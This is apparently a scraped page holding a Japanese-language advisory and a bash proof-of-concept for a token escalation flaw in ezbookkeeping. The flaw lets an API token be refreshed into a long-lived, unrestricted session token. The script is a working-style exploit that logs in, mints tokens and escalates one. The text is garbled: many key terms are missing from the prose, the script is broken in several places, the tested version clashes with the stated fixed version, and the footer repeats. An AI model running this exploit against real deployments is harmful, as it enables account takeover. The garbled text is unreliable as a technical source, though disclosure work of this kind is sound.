ezbookkeeping API Token to NORMAL Session Token Escalation via Refresh Endpoint (PoC)

脆弱性概要 APIトークン → 経由の NORMAL セッショントークンへの昇格 説明: は、API トークンを資格情報として受け入れます（このエンドポイントは にマウントされており、 ミドルウェアが実行され です）。そして、 によって無条件に NORMAL セッショントークンを生成します。リフレッシュトークンは API トークンのすべての制約を継承します：デフォルトのセッション有効期間（30 日）全体を受け取り、API トークンの IP 許可リストの制限を受けず、すべての NORMAL セッショントークンの権限を取得します。 第2の脆弱性: （つまり「期限切れなし」オプション）を使用して作成された API トークンでは、 値が 2319 年（約 292 年）になります。これは に由来する （int64 オーバーフロー）によって派生します。 実際の事例: 120 秒の API トークンから だけを指定することで、有効期限 30 日の有効な NORMAL セッショントークンが取得できました。また、期限切れなしの API トークンは約 292 年の有効期間を持ちました。 影響範囲 影響を受けるバージョン: 1.2.0 - 2.0.0 修正バージョン: 2.0.1 CVSS v3 ベース指標: - 攻撃経路: ネットワーク - 攻撃複雑度: 低 - 必要な権限: 低 - ユーザー相互作用: なし - 影響範囲: 変更なし - 機密性: 高 - 完全性: 高 - 可用性: なし 修正策 1. 内で、 であるトークンをすべて拒否する。 2. リフレッシュ時に、デフォルトのセッション有効期間全体にリセットするのではなく、ソーストークンの残存有効期間を引き継ぐ。 3. を無効な値として扱うか、管理者が設定した最大値に制限する。また、 の int64 オーバーフロー問題を修正する。 4. これに依存しているデプロイメントについては、IP 許可リストをすべてのセッショントークンに適用することを検討する。 POC コード ```bash #!/usr/bin/env bash /api/v1/tokens/refresh.json 経由で API トークン → NORMAL セッショントークン ezbookkeeping v2.0.1 (2026-09-23) でライブ確認済み set -eu pipefail API="EZBK_API: http://127.0.0.1:18080/api" PW="EZBK_PW: 'P@ssw0rd!2019'" MZN="EZBK_MIN_REFRESH_SLEEP: 2" 標準の token_min_refresh_interval は 86400 秒（24 時間） say() { printf '\n\033[1;34m%s\033[0m\n' "$"; } ok() { printf '\033[1;32m[OK]\033[0m %s\n' "$"; exit 1; } bad() { printf '\033[1;31m[!]\033[0m %s\n' "$*"; exit 1; } say "ステップ 1: 到達性確認とログイン" curl -sf -o /dev/null "$API/authorize.json" TS=$(curl -s -X POST "$API/authorize.json" \ -H "Content-Type: application/json" \ -d '{"loginName":"alice","password":"P@ssw0rd!2019"}' \ [ -n "$TS" ] ok "ログイン成功" say "ステップ 2: 120秒の有効期限を持つ API トークンを発行" AS=$(curl -s -X POST "$API/v1/tokens/generate/api.json" \ -H "Authorization: Bearer $TS" \ -H "Content-Type: application/json" \ -d '{"password":"P@ssw0rd!","expiresInSeconds":120}') [ $? -eq 0 ] ok "API トークン発行済み" say "ステップ 3: 「期限切れなし」(expiresInSeconds=0) の API トークンを発行" AN=$(curl -s -X POST "$API/v1/tokens/generate/api.json" \ -H "Authorization: Bearer $TS" \ -H "Content-Type: application/json" \ -d '{"password":"P@ssw0rd!"}') python3 -c "import sys,json;print(json.load(sys.stdin)['result']['token'])" say "ステップ 4: API トークンだけでリフレッシュ（トークンタイプ混同: B → NORMAL）" sleep "$MZN" NT=$(curl -s -X POST "$API/v1/tokens/refresh.json" \ -H "Authorization: Bearer $AS" \ -H "Content-Type: application/json" \ -d '{}') [ $? -eq 0 ] python3 -c "import sys,json;print(json.load(sys.stdin)['result']['newToken'])" say "ステップ 5: 昇格されたトークンを認証済みエンドポイントで使用" curl -s "$API/v1/users/profile/get.json" \ -H "Authorization: Bearer $NT" \ [OK] authenticated username:{json.load(sys.stdin)['result']['print(f' [WARN] API token (even 120s-expiry, even IP-allowlisted) refreshes into a full NORMAL session token via /api/v1/tokens/refresh.json: expiry escape + IP-allowlist escape + unrestricted session privileges. " 研究者との連絡先: LinkedIn で Evilord

目標達成すべての支援者に感謝 — 100%達成しました！

ezbookkeeping API Token to NORMAL Session Token Escalation via Refresh Endpoint (PoC)

このソースからの他の記事

目標達成 すべての支援者に感謝 — 100%達成しました！

ezbookkeeping API Token to NORMAL Session Token Escalation via Refresh Endpoint (PoC)

このソースからの他の記事

目標達成すべての支援者に感謝 — 100%達成しました！